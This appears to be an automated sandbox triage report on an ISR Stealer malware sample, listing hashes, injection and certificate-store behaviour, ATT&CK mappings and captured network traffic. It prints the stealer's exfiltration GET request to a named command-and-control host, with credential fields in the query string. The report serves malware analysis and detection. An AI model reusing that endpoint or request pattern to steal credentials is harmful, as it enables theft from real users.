isrstealer | 56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1 | Triage

Analysis

max time kernel
45s
max time network
106s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
07/12/2022, 03:41 UTC

Sharing

Report Analysis Logs

General

Target

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe
Size

236KB
MD5

df648c762a8b97f781a1adf22ce8eda7
SHA1

e828b66f6593f13c2193368123acee983e8aee08
SHA256

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1
SHA512

59392e21cd6bc65eb89bc96900c3f18e3733ccc48ea26a42926f401c4771a6c8246ca6b605300f223aaf9efb713c030f016e09267470d637a62b7a54c5916279
SSDEEP

6144:m3bdXPx3QdIKCC0ef//uXltKc+LVsz9b8Gl:QQdFeCXuLKcCVsz6Gl

Score

10^/10

isrstealer spyware stealer trojan upx

Malware Config

Signatures

ISR Stealer
ISR Stealer is a modified version of Hackhound Stealer written in visual basic.
trojan stealer isrstealer

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

resource	yara_rule
behavioral1/memory/1056-56-0x0000000000400000-0x0000000000453000-memory.dmp	upx
behavioral1/memory/1056-60-0x0000000000400000-0x0000000000453000-memory.dmp	upx
behavioral1/memory/1056-61-0x0000000000400000-0x0000000000453000-memory.dmp	upx
behavioral1/memory/1056-62-0x0000000000400000-0x0000000000453000-memory.dmp	upx
behavioral1/memory/1056-63-0x0000000000400000-0x0000000000453000-memory.dmp	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1200 set thread context of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27
PID 1200 wrote to memory of 1056	1200	56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe	27

C:\Users\Admin\AppData\Local\Temp\56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe
"C:\Users\Admin\AppData\Local\Temp\56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe"
1⤵
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Users\Admin\AppData\Local\Temp\56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe
  /scomma "C:\Users\Admin\AppData\Local\Temp\RvAjrxUopk.ini"
  2⤵
  PID:1056

Network

DNS

coafuri123456.comoj.com

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

Remote address:

8.8.8.8:53

Request

coafuri123456.comoj.com

IN A

Response

coafuri123456.comoj.com

IN A

153.92.0.100
GET

http://coafuri123456.comoj.com/wp-admin/images/isr/index.php?action=add&username=&password=&app=&pcname=RYNKSFQE&sitename=

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

Remote address:

153.92.0.100:80

Request

GET /wp-admin/images/isr/index.php?action=add&username=&password=&app=&pcname=RYNKSFQE&sitename= HTTP/1.1
User-Agent: HardCore Software For : Public
Host: coafuri123456.comoj.com

Response

HTTP/1.1 301 Moved Permanently

Server: nginx
Date: Sun, 11 Dec 2022 20:52:41 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: https://www.000webhost.com/migrate?static=true
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
DNS

www.000webhost.com

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

Remote address:

8.8.8.8:53

Request

www.000webhost.com

IN A

Response

www.000webhost.com

IN A

104.19.184.120

www.000webhost.com

IN A

104.19.185.120
GET

https://www.000webhost.com/migrate?static=true

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

Remote address:

104.19.184.120:443

Request

GET /migrate?static=true HTTP/1.1
User-Agent: HardCore Software For : Public
Host: www.000webhost.com
Connection: Keep-Alive

Response

HTTP/1.1 403 Forbidden

Date: Sun, 11 Dec 2022 20:52:42 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 16
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Referrer-Policy: same-origin
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Server: cloudflare
CF-RAY: 77811b03190bb76a-AMS
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

153.92.0.100:80

http://coafuri123456.comoj.com/wp-admin/images/isr/index.php?action=add&username=&password=&app=&pcname=RYNKSFQE&sitename=

http

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

420 B
1.1kB
5
4

HTTP Request

GET http://coafuri123456.comoj.com/wp-admin/images/isr/index.php?action=add&username=&password=&app=&pcname=RYNKSFQE&sitename=

HTTP Response

301
104.19.184.120:443

https://www.000webhost.com/migrate?static=true

tls, http

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

954 B
6.5kB
10
9

HTTP Request

GET https://www.000webhost.com/migrate?static=true

HTTP Response

403

8.8.8.8:53

coafuri123456.comoj.com

dns

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

69 B
85 B
1
1

DNS Request

coafuri123456.comoj.com

DNS Response

153.92.0.100
8.8.8.8:53

www.000webhost.com

dns

56f55f54b308f2d4e9b7363063372503ecb4f775340f0e7efe6b0b159aecb4e1.exe

64 B
96 B
1
1

DNS Request

www.000webhost.com

DNS Response

104.19.184.120

104.19.185.120

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Credentials in Files

Discovery

Lateral Movement

Collection

Data from Local System

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RvAjrxUopk.ini

Filesize
5B

MD5
d1ea279fb5559c020a1b4137dc4de237

SHA1
db6f8988af46b56216a6f0daf95ab8c9bdb57400

SHA256
fcdcc2c46896915a1c695d6231f0fee336a668531b7a3da46178c80362546dba

SHA512
720e9c284f0559015312df7fe977563e5e16f48d3506e51eb4016adf7971924d352f740b030aa3adc81b6f65fd1dba12df06d10fa6c115074e5097e7ee0f08b3

Download Submit
memory/1056-56-0x0000000000400000-0x0000000000453000-memory.dmp

Filesize
332KB

Download
memory/1056-59-0x0000000075AC1000-0x0000000075AC3000-memory.dmp

Filesize
8KB

Download
memory/1056-60-0x0000000000400000-0x0000000000453000-memory.dmp

Filesize
332KB

Download
memory/1056-61-0x0000000000400000-0x0000000000453000-memory.dmp

Filesize
332KB

Download
memory/1056-62-0x0000000000400000-0x0000000000453000-memory.dmp

Filesize
332KB

Download
memory/1056-63-0x0000000000400000-0x0000000000453000-memory.dmp

Filesize
332KB

Download